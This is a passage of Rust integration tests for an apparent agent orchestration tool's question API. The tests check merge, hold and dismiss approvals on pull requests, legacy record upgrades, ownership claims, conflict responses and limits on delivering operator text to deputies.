11767    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768        let fx = Fixture::start().await;
11769        let mut state = obsolete_approval_state();
11770        state.status = RunStatus::Landing;
11771        state.parked = true;
11772        state.driver_exited = true;
11773        let mut q = Question::new(
11774            state.id.clone(),
11775            crate::land::APPROVAL_NODE.into(),
11776            "land".into(),
11777            "Superseded PR approval".into(),
11778            "Original review evidence".into(),
11779            vec!["merge".into(), "hold".into()],
11780        );
11781        state.land_approval = Some(crate::run::LandApproval {
11782            question: q.id.clone(),
11783            head: "old-reviewed-head".into(),
11784        });
11785        // The old persisted PR may still say open even when a separate change
11786        // already landed. Dismissal must not use that snapshot to close it.
11787        state.save_under(fx.home.path()).unwrap();
11788        let stale_driver = state.clone();
11789        fx.questions().put(&mut q).unwrap();
11790        let path = fx
11791            .home
11792            .path()
11793            .join("questions")
11794            .join(format!("{}.json", q.id));
11795        let mut legacy = serde_json::to_value(&q).unwrap();
11796        legacy["schema"] = 9.into();
11797        legacy.as_object_mut().unwrap().remove("merge_target");
11798        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800        // POST without GET tests legacy upgrade and validation at the actual
11801        // entry point, rather than constructing a modern card in the test.
11802        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803        let answer_path = format!("/api/questions/{}/answer", q.id);
11804        let res = fx.post(&answer_path, Some(&body)).await;
11805        assert_eq!(res.status, 200, "{}", res.body);
11806        let disk = fx.questions().get(&q.id).unwrap();
11807        assert_eq!(
11808            disk.resolution().as_deref(),
11809            Some(crate::merge_decision::DISMISS)
11810        );
11811        assert!(disk.detail.starts_with("Original review evidence"));
11812        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813        assert_eq!(retired.status, RunStatus::Superseded);
11814        assert_eq!(
11815            serde_json::to_value(&retired.pr).unwrap(),
11816            serde_json::to_value(&state.pr).unwrap()
11817        );
11818        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819        assert!(!crate::merge_decision::resumable_hold(&retired));
11820        assert!(fx.queue().list().is_empty());
11821        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822        // A restarted server re-reads the persisted pending list.
11823        let addr = Fixture::serve(
11824            fx.home.path(),
11825            PathBuf::from("/repo/magi"),
11826            launch_idle,
11827            None,
11828        )
11829        .await;
11830        let reconnected = Fixture {
11831            home: fx.home,
11832            addr,
11833        };
11834        let listed = reconnected.get("/api/questions").await.json();
11835        assert!(
11836            listed
11837                .as_array()
11838                .unwrap()
11839                .iter()
11840                .all(|q| q["status"] != "open")
11841        );
11842        assert_eq!(listed[0]["id"], q.id, "history remains available");
11843        assert_eq!(
11844            reconnected.get("/api/health").await.json()["questions_open"],
11845            0
11846        );
11847        assert_eq!(
11848            reconnected
11849                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850                .await
11851                .status,
11852            409
11853        );
11854        // A late waiter cannot turn the old answer into a new decision.
11855        assert!(
11856            reconnected
11857                .questions()
11858                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859                .is_err()
11860        );
11861        // The same guard used by claims, repair and publication rejects a
11862        // saved in-memory driver as well as the persisted terminal record.
11863        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864    }
11865
11866    #[tokio::test]
11867    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868        let fx = Fixture::start().await;
11869        let mut state = obsolete_approval_state();
11870        state.status = RunStatus::Landing;
11871        state.driver_exited = true;
11872        let mut q = Question::new(
11873            state.id.clone(),
11874            crate::land::APPROVAL_NODE.into(),
11875            "land".into(),
11876            "Obsolete approval".into(),
11877            String::new(),
11878            vec!["merge".into(), "hold".into()],
11879        );
11880        state.land_approval = Some(crate::run::LandApproval {
11881            question: q.id.clone(),
11882            head: "head".into(),
11883        });
11884        state.save_under(fx.home.path()).unwrap();
11885        fx.questions().put(&mut q).unwrap();
11886        let mut task = Task::new(
11887            "Owner".into(),
11888            "Original instruction".into(),
11889            state.repo.clone(),
11890            Source::Human,
11891        );
11892        task.runs = vec![state.id.clone(), "later-run".into()];
11893        fx.queue().put(&mut task).unwrap();
11894        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895        let claim = fx.queue().claim(&task.id).unwrap();
11896        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897        let path = format!("/api/questions/{}/answer", q.id);
11898        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899        assert!(fx.questions().get(&q.id).unwrap().status.open());
11900        drop(claim);
11901        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903        assert!(fx.questions().get(&q.id).unwrap().status.open());
11904        drop(publication);
11905        // Unknown liveness and armed auto-merge both fail without settling.
11906        state.driver_exited = false;
11907        state.driver_pid = None;
11908        state.save_under(fx.home.path()).unwrap();
11909        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11910        state.driver_exited = true;
11911        state.land_armed_head = Some("head".into());
11912        state.save_under(fx.home.path()).unwrap();
11913        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11914        state.land_armed_head = None;
11915        state.save_under(fx.home.path()).unwrap();
11916        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11917        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11918        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11919    }
11920
11921    #[tokio::test]
11922    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11923        let fx = Fixture::start().await;
11924        let mut state = obsolete_approval_state();
11925        state.status = RunStatus::Landing;
11926        state.driver_exited = true;
11927        let mut q = Question::new(
11928            state.id.clone(),
11929            crate::land::APPROVAL_NODE.into(),
11930            "land".into(),
11931            "Obsolete approval".into(),
11932            String::new(),
11933            vec!["merge".into(), "hold".into()],
11934        );
11935        state.land_approval = Some(crate::run::LandApproval {
11936            question: q.id.clone(),
11937            head: "head".into(),
11938        });
11939        state.save_under(fx.home.path()).unwrap();
11940        fx.questions().put(&mut q).unwrap();
11941        let mut task = Task::new(
11942            "Owner".into(),
11943            "Original instruction".into(),
11944            state.repo.clone(),
11945            Source::Human,
11946        );
11947        task.runs.push(state.id.clone());
11948        task.status = TaskStatus::Parked;
11949        fx.queue().put(&mut task).unwrap();
11950        // Model a crash after the run stop was persisted but before the queue
11951        // and answered question were flushed. Retrying must finish, not resume.
11952        state.merge_decision = Some(crate::merge_decision::Decision {
11953            question: q.id.clone(),
11954            target: crate::merge_decision::Target {
11955                pr: state.pr.as_ref().unwrap().url.clone(),
11956                head: "head".into(),
11957                language: "ja".into(),
11958            },
11959            choice: crate::merge_decision::DISMISS.into(),
11960            closed: false,
11961            replacement_run: None,
11962            replacement_pr: None,
11963        });
11964        state.status = RunStatus::Superseded;
11965        state.save_under(fx.home.path()).unwrap();
11966        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11967        let path = format!("/api/questions/{}/answer", q.id);
11968        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11969        let done = fx.queue().get(&task.id).unwrap();
11970        assert_eq!(done.status, TaskStatus::Done);
11971        assert_eq!(done.runs, task.runs);
11972        assert_eq!(done.instruction, task.instruction);
11973        assert!(done.action_applied(&q.id));
11974        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11975        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11976        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11977    }
11978
11979    #[tokio::test]
11980    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11981        let home = TempDir::new().unwrap();
11982        let ui = Arc::new(Ui::new(
11983            Queue::at(home.path().join("queue")),
11984            Questions::at(home.path().join("questions")),
11985            Talks::at(home.path().join("talks")),
11986            home.path().join("runs"),
11987            home.path().to_owned(),
11988            home.path().to_owned(),
11989        ));
11990        let talks = &ui.talks;
11991        let chat =
11992            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11993        let mut q = Question::new(
11994            "run".into(),
11995            crate::land::APPROVAL_NODE.into(),
11996            "land".into(),
11997            "Merge?".into(),
11998            String::new(),
11999            vec!["merge".into(), "hold".into()],
12000        );
12001        q.routed_task = Some("task".into());
12002        q.routed_chat = Some(chat.id.clone());
12003        q.merge_target = Some(crate::merge_decision::Target {
12004            pr: "https://example.test/pull/1".into(),
12005            head: "head-a".into(),
12006            language: "en".into(),
12007        });
12008        ui.questions.put(&mut q).unwrap();
12009        let send = |body| {
12010            question_answer(
12011                State(ui.clone()),
12012                Path(q.id.clone()),
12013                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12014            )
12015        };
12016        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12017        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12018        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12019        assert!(send(wrong_chat).await.is_err());
12020        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12021        assert!(send(stale).await.is_err());
12022        assert!(ui.questions.get(&q.id).unwrap().status.open());
12023        assert!(send(button.clone()).await.is_ok());
12024        assert_eq!(
12025            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12026            Some("merge")
12027        );
12028        assert!(send(button).await.is_err());
12029    }
12030
12031    #[tokio::test]
12032    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12033        let home = TempDir::new().unwrap();
12034        let ui = Arc::new(Ui::new(
12035            Queue::at(home.path().join("queue")),
12036            Questions::at(home.path().join("questions")),
12037            Talks::at(home.path().join("talks")),
12038            home.path().join("runs"),
12039            home.path().to_owned(),
12040            home.path().to_owned(),
12041        ));
12042        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12043            let mut q = Question::new(
12044                "run".into(),
12045                crate::land::APPROVAL_NODE.into(),
12046                "land".into(),
12047                "Merge?".into(),
12048                String::new(),
12049                vec!["merge".into(), choice.into()],
12050            );
12051            q.routed_task = Some("task".into());
12052            q.merge_target = Some(crate::merge_decision::Target {
12053                pr: "https://example.test/pull/1".into(),
12054                head: "head-a".into(),
12055                language: "en".into(),
12056            });
12057            ui.questions.put(&mut q).unwrap();
12058            let answer = |c: &str| {
12059                question_answer(
12060                    State(ui.clone()),
12061                    Path(q.id.clone()),
12062                    Ok(Json(
12063                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12064                            .unwrap(),
12065                    )),
12066                )
12067            };
12068            let _ = answer(choice).await.unwrap();
12069            assert_eq!(
12070                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12071                Some(choice)
12072            );
12073        }
12074    }
12075
12076    #[tokio::test]
12077    async fn a_routed_decision_is_refused_on_the_question_route() {
12078        let home = TempDir::new().unwrap();
12079        let ui = Arc::new(Ui::new(
12080            Queue::at(home.path().join("queue")),
12081            Questions::at(home.path().join("questions")),
12082            Talks::at(home.path().join("talks")),
12083            home.path().join("runs"),
12084            home.path().to_owned(),
12085            home.path().to_owned(),
12086        ));
12087        let mut q = Question::new(
12088            "run".into(),
12089            crate::github_text::ASK_NODE.into(),
12090            "posting-gate".into(),
12091            "Post?".into(),
12092            String::new(),
12093            vec!["use fallback".into()],
12094        );
12095        q.routed_task = Some("task".into());
12096        ui.questions.put(&mut q).unwrap();
12097        let sent = question_answer(
12098            State(ui.clone()),
12099            Path(q.id.clone()),
12100            Ok(Json(
12101                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12102                    .unwrap(),
12103            )),
12104        )
12105        .await;
12106        assert!(sent.is_err());
12107        assert!(ui.questions.get(&q.id).unwrap().status.open());
12108    }
12109
12110    #[tokio::test]
12111    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12112        let fx = Fixture {
12113            home: TempDir::new().unwrap(),
12114            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12115        };
12116        for choice in [
12117            crate::land::HOLD,
12118            crate::land::REPAIR,
12119            crate::land::APPROVE,
12120            crate::merge_decision::WITHDRAW,
12121            "reimplement:beta",
12122        ] {
12123            let mut q = Question::new(
12124                "old-run".into(),
12125                crate::land::APPROVAL_NODE.into(),
12126                "land".into(),
12127                "Decision".into(),
12128                "Review findings".into(),
12129                vec![
12130                    "merge".into(),
12131                    "hold".into(),
12132                    crate::land::REPAIR.into(),
12133                    crate::merge_decision::WITHDRAW.into(),
12134                    "reimplement:beta".into(),
12135                ],
12136            );
12137            q.merge_target = Some(crate::merge_decision::Target {
12138                pr: "https://github.com/example/repo/pull/42".into(),
12139                head: "exact-reviewed-head".into(),
12140                language: "ja".into(),
12141            });
12142            q.consult = Some(ask::ChatConsult {
12143                talk: "another-conversation".into(),
12144                at: jiff::Timestamp::now(),
12145            });
12146            fx.questions().put(&mut q).unwrap();
12147            let ui = Arc::new(Ui::new(
12148                fx.queue(),
12149                fx.questions(),
12150                fx.talks(),
12151                fx.runs(),
12152                fx.home.path().into(),
12153                std::path::PathBuf::from("."),
12154            ));
12155            let response = question_answer(
12156                State(ui.clone()),
12157                Path(q.id.clone()),
12158                Ok(Json(NewAnswer {
12159                    choice: Some(choice.into()),
12160                    text: None,
12161                    ..Default::default()
12162                })),
12163            )
12164            .await
12165            .unwrap();
12166            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12167            let disk = fx.questions().get(&q.id).unwrap();
12168            assert_eq!(disk.merge_target, q.merge_target);
12169            assert_eq!(disk.consult, q.consult);
12170            assert!(
12171                disk.answer_authority.is_none(),
12172                "a direct owner card is its own decision"
12173            );
12174            assert_eq!(disk.resolution().as_deref(), Some(choice));
12175            assert!(
12176                question_answer(
12177                    State(ui),
12178                    Path(q.id.clone()),
12179                    Ok(Json(NewAnswer {
12180                        choice: Some("merge".into()),
12181                        text: None,
12182                        ..Default::default()
12183                    }))
12184                )
12185                .await
12186                .is_err(),
12187                "an already settled decision cannot turn into merge approval"
12188            );
12189        }
12190    }
12191
12192    #[tokio::test]
12193    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12194        let fx = Fixture {
12195            home: TempDir::new().unwrap(),
12196            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12197        };
12198        let mut state = crate::land::tests::repair_state(true, true);
12199        state.status = RunStatus::Landing;
12200        state.parked = true;
12201        state.driver_exited = true;
12202        let mut task = Task::new(
12203            "Existing PR owner".into(),
12204            state.instruction.clone(),
12205            state.repo.clone(),
12206            Source::Human,
12207        );
12208        task.runs.push(state.id.clone());
12209        task.status = TaskStatus::Parked;
12210        fx.queue().put(&mut task).unwrap();
12211        let mut q = Question::new(
12212            state.id.clone(),
12213            crate::land::APPROVAL_NODE.into(),
12214            "land".into(),
12215            "Contested merge".into(),
12216            "Original evidence".into(),
12217            vec!["merge".into(), "hold".into()],
12218        );
12219        state.land_approval = Some(crate::run::LandApproval {
12220            question: q.id.clone(),
12221            head: "reviewed-head".into(),
12222        });
12223        state.save_under(fx.home.path()).unwrap();
12224        fx.questions().put(&mut q).unwrap();
12225        // A later repair answer on this old card supersedes this manual hold.
12226        task.hold_manual(Some("Pause this PR".into()));
12227        fx.queue().put(&mut task).unwrap();
12228        // POST directly, without a preceding GET: validation must see the
12229        // same durable upgrade that the card, CLI and chat see.
12230        let ui = Arc::new(Ui::new(
12231            fx.queue(),
12232            fx.questions(),
12233            fx.talks(),
12234            fx.runs(),
12235            fx.home.path().to_path_buf(),
12236            state.repo.clone(),
12237        ));
12238        let response = question_answer(
12239            State(ui),
12240            Path(q.id.clone()),
12241            Ok(Json(NewAnswer {
12242                choice: Some(crate::land::REPAIR.into()),
12243                text: None,
12244                ..Default::default()
12245            })),
12246        )
12247        .await
12248        .unwrap();
12249        assert_eq!(response.0.question.id, q.id);
12250        let upgraded = fx.questions().get(&q.id).unwrap();
12251        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12252        assert!(upgraded.detail.starts_with("Original evidence"));
12253        let claim = fx.queue().claim(&task.id).unwrap();
12254        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12255        assert!(
12256            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12257            "an existing driver keeps its claim"
12258        );
12259        drop(claim);
12260        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12261        let resumed = fx.queue().get(&task.id).unwrap();
12262        assert_eq!(
12263            resumed
12264                .resume_override
12265                .as_ref()
12266                .unwrap()
12267                .pinned_run
12268                .as_deref(),
12269            Some(state.id.as_str())
12270        );
12271        assert!(resumed.status.runnable());
12272        assert_eq!(resumed.instruction, task.instruction);
12273        assert_eq!(resumed.runs, task.runs);
12274        assert!(resumed.action_applied(&q.id));
12275        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12276        assert_eq!(fx.queue().list().len(), 1);
12277        assert_eq!(
12278            fx.queue().get(&task.id).unwrap().resume_override,
12279            resumed.resume_override
12280        );
12281        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12282        assert!(
12283            disk.merge_repairs.is_empty(),
12284            "only the claimed run driver may execute repair"
12285        );
12286        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12287    }
12288
12289    #[tokio::test]
12290    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12291        let fx = Fixture::start().await;
12292        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12293        let path = format!("/api/questions/{id}/answer");
12294
12295        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12296        assert_eq!(res.status, 200, "{}", res.body);
12297        let body = res.json();
12298        assert_eq!(body["status"], "answered");
12299        assert_eq!(body["answer"]["choice"], "Redis");
12300
12301        // Answered from the terminal in between the list and the tap: the UI
12302        // must be able to tell this from a bad request, so it can show the
12303        // recorded answer instead of an error.
12304        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12305        assert_eq!(again.status, 409, "{}", again.body);
12306        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12307    }
12308
12309    #[tokio::test]
12310    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12311        let home = tempfile::tempdir().unwrap();
12312        let ui = delta_test_ui(home.path());
12313        let mut q = Question::new(
12314            "task".into(),
12315            crate::land::APPROVAL_NODE.into(),
12316            "land".into(),
12317            "Explain?".into(),
12318            String::new(),
12319            vec!["hold".into()],
12320        );
12321        q.deputy = Some(ask::Deputy::new("context".into()));
12322        ui.questions.put(&mut q).unwrap();
12323        let mut cfg = stub_config();
12324        cfg.daemon.max_deputies = 0;
12325        let mut status = crate::daemon::Status::new();
12326        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12327        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12328        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12329        let error = question_say(
12330            State(ui.clone()),
12331            Path(q.id.clone()),
12332            Ok(Json(NewSay {
12333                body: "Explain the findings".into(),
12334            })),
12335        )
12336        .await
12337        .unwrap_err();
12338        assert_eq!(
12339            error.text_reason,
12340            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12341        );
12342        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12343
12344        let mut text = Question::new(
12345            "task".into(),
12346            "ask".into(),
12347            "operator".into(),
12348            "Which name?".into(),
12349            String::new(),
12350            vec![],
12351        );
12352        ui.questions.put(&mut text).unwrap();
12353        let Json(view) = question_answer(
12354            State(ui.clone()),
12355            Path(text.id.clone()),
12356            Ok(Json(NewAnswer {
12357                choice: None,
12358                text: Some("chosen name".into()),
12359                ..Default::default()
12360            })),
12361        )
12362        .await
12363        .unwrap();
12364        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12365        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12366    }
12367
12368    #[tokio::test]
12369    async fn question_text_handler_admission_without_transport() {
12370        let home = tempfile::tempdir().unwrap();
12371        let ui = delta_test_ui(home.path());
12372        let mut q = Question::new(
12373            "task".into(),
12374            crate::land::APPROVAL_NODE.into(),
12375            "land".into(),
12376            "May this PR merge?".into(),
12377            String::new(),
12378            vec!["hold".into()],
12379        );
12380        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12381        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12382        ui.questions.put(&mut q).unwrap();
12383        let say = || {
12384            Ok(Json(NewSay {
12385                body: "Explain the findings".into(),
12386            }))
12387        };
12388        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12389            .await
12390            .unwrap_err();
12391        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12392        let response = rejected.into_response();
12393        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12394            .await
12395            .unwrap();
12396        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12397        assert_eq!(body["code"], "question_text_unavailable");
12398        assert_eq!(body["reason"], "deputy_exhausted");
12399        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12400        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12401        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12402        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12403            .await
12404            .unwrap();
12405        assert_eq!(view.text_delivery.state, "live");
12406        assert!(view.question.waiter.is_none());
12407        assert!(view.question.cwd.is_none());
12408        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12409        ui.questions.drop_lease(&q.id);
12410        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12411            .await
12412            .unwrap_err();
12413        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12414        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12415        let _ = question_answer(
12416            State(ui.clone()),
12417            Path(q.id.clone()),
12418            Ok(Json(NewAnswer {
12419                choice: Some("hold".into()),
12420                text: None,
12421                ..Default::default()
12422            })),
12423        )
12424        .await
12425        .unwrap();
12426        assert_eq!(
12427            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12428            Some("hold")
12429        );
12430    }
12431
12432    #[tokio::test]
12433    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12434        let fx = Fixture::start().await;
12435        let store = fx.questions();
12436        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12437        store
12438            .update(&id, |q| {
12439                q.node = crate::land::APPROVAL_NODE.to_owned();
12440                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12441                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12442                Ok(())
12443            })
12444            .unwrap();
12445        let path = format!("/api/questions/{id}/say");
12446        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12447        assert_eq!(refused.status, 422, "{}", refused.body);
12448        assert!(
12449            refused.json()["error"]
12450                .as_str()
12451                .unwrap()
12452                .contains("deputy_exhausted")
12453        );
12454        assert!(store.get(&id).unwrap().thread.is_empty());
12455
12456        // A final live deputy is usable even with no ordinary waiter/cwd.
12457        store.beat(&id, ask::WaiterKind::Deputy);
12458        let view = fx.get("/api/questions").await.json();
12459        assert_eq!(view[0]["text_delivery"]["state"], "live");
12460        let accepted = fx
12461            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12462            .await;
12463        assert_eq!(accepted.status, 200, "{}", accepted.body);
12464        let before = std::fs::read(store.path_of(&id)).unwrap();
12465
12466        // The recipient exits between rendering and sending. Rejection must
12467        // preserve previously accepted text, the answer and delivery cursor.
12468        store.drop_lease(&id);
12469        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12470        assert_eq!(refused.status, 422, "{}", refused.body);
12471        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12472        let held = fx
12473            .post(
12474                &format!("/api/questions/{id}/answer"),
12475                Some(r#"{"choice":"hold"}"#),
12476            )
12477            .await;
12478        assert_eq!(held.status, 200, "{}", held.body);
12479        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12480    }
12481
12482    #[tokio::test]
12483    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12484        let repo = tempfile::tempdir().unwrap();
12485        let mut cfg = stub_config();
12486        cfg.daemon.max_deputies = 0;
12487        std::fs::write(
12488            repo.path().join("magi.toml"),
12489            toml::to_string(&cfg).unwrap(),
12490        )
12491        .unwrap();
12492        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12493        let mut status = crate::daemon::Status::new();
12494        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12495        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12496        let id = ask(&fx, "Explain?", &["hold"]);
12497        fx.questions()
12498            .update(&id, |q| {
12499                q.node = crate::land::APPROVAL_NODE.into();
12500                q.deputy = Some(ask::Deputy::new("context".into()));
12501                q.deputy.as_mut().unwrap().agent = "stub".into();
12502                Ok(())
12503            })
12504            .unwrap();
12505        cfg.daemon.max_deputies = 1;
12506        std::fs::write(
12507            repo.path().join("magi.toml"),
12508            toml::to_string(&cfg).unwrap(),
12509        )
12510        .unwrap();
12511        let view = fx.get("/api/questions").await.json();
12512        assert_eq!(view[0]["deputies_enabled"], true);
12513        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12514        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12515        let res = fx
12516            .post(
12517                &format!("/api/questions/{id}/say"),
12518                Some(r#"{"body":"Please explain"}"#),
12519            )
12520            .await;
12521        assert_eq!(res.status, 422, "{}", res.body);
12522        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12523    }
12524
12525    #[tokio::test]
12526    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12527        let fx = Fixture::start().await;
12528        let id = ask(&fx, "No seat", &[]);
12529        let store = fx.questions();
12530        let before = std::fs::read(store.path_of(&id)).unwrap();
12531        let res = fx
12532            .post(
12533                &format!("/api/questions/{id}/say"),
12534                Some(r#"{"body":"hello"}"#),
12535            )
12536            .await;
12537        assert_eq!(res.status, 422, "{}", res.body);
12538        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12539        let res = fx
12540            .post(
12541                &format!("/api/questions/{id}/answer"),
12542                Some(r#"{"text":"hello"}"#),
12543            )
12544            .await;
12545        assert_eq!(res.status, 200, "{}", res.body);
12546        assert_eq!(
12547            store.get(&id).unwrap().resolution().as_deref(),
12548            Some("hello")
12549        );
12550    }
12551
12552    #[tokio::test]
12553    async fn saying_something_appends_a_turn_without_answering() {
12554        let fx = Fixture::start().await;
12555        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12556        fx.questions().beat(&id, ask::WaiterKind::Asker);
12557        let path = format!("/api/questions/{id}/say");
12558
12559        let res = fx
12560            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12561            .await;
12562        assert_eq!(res.status, 200, "{}", res.body);
12563        let body = res.json();
12564        assert_eq!(body["status"], "open", "talking back is not a decision");
12565        assert_eq!(body["answer"], Value::Null);
12566        assert_eq!(body["thread"][0]["who"], "operator");
12567        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12568        assert_eq!(body["waiting_on_agent"], true);
12569        // Still open, still counted, still exactly one question.
12570        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12571    }
12572
12573    #[tokio::test]
12574    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12575        let fx = Fixture::start().await;
12576        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12577
12578        let list = fx.get("/api/questions").await.json();
12579        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12580
12581        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12582        assert_eq!(res.status, 409, "{}", res.body);
12583        let q = fx.questions().get(&id).unwrap();
12584        assert!(q.status.open());
12585        assert!(q.consult.is_none());
12586    }
12587
12588    #[tokio::test]
12589    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12590        let fx = Fixture::start().await;
12591        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12592        let cfg = Config {
12593            agents: vec![crate::config::AgentSpec {
12594                id: "mock".to_owned(),
12595                kind: crate::config::AgentKind::Command,
12596                model: None,
12597                command: vec!["true".to_owned()],
12598                extra_args: Vec::new(),
12599                env: Default::default(),
12600                prompt_delivery: None,
12601                max_turn_secs: None,
12602            }],
12603            ..Config::default()
12604        };
12605        let talk = crate::talk::begin(
12606            &fx.talks(),
12607            &cfg,
12608            fx.home.path().to_path_buf(),
12609            Some("mock"),
12610        )
12611        .unwrap();
12612        let mut task = Task::new(
12613            "t".to_owned(),
12614            "Do it".to_owned(),
12615            PathBuf::from("/repo/magi"),
12616            Source::Agent {
12617                run: talk.id.clone(),
12618                node: crate::queue::CHAT_NODE.to_owned(),
12619            },
12620        );
12621        task.start("20260902-000000-beef".to_owned());
12622        fx.queue().put(&mut task).unwrap();
12623
12624        let list = fx.get("/api/questions").await.json();
12625        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12626        assert_eq!(
12627            list[0]["choices"],
12628            serde_json::json!(["SQLite", "Redis"]),
12629            "the hand-over is never a choice"
12630        );
12631        fx.questions()
12632            .update(&id, |q| {
12633                q.node = crate::land::APPROVAL_NODE.into();
12634                q.choices = vec!["merge".into(), "hold".into()];
12635                Ok(())
12636            })
12637            .unwrap();
12638        let list = fx.get("/api/questions").await.json();
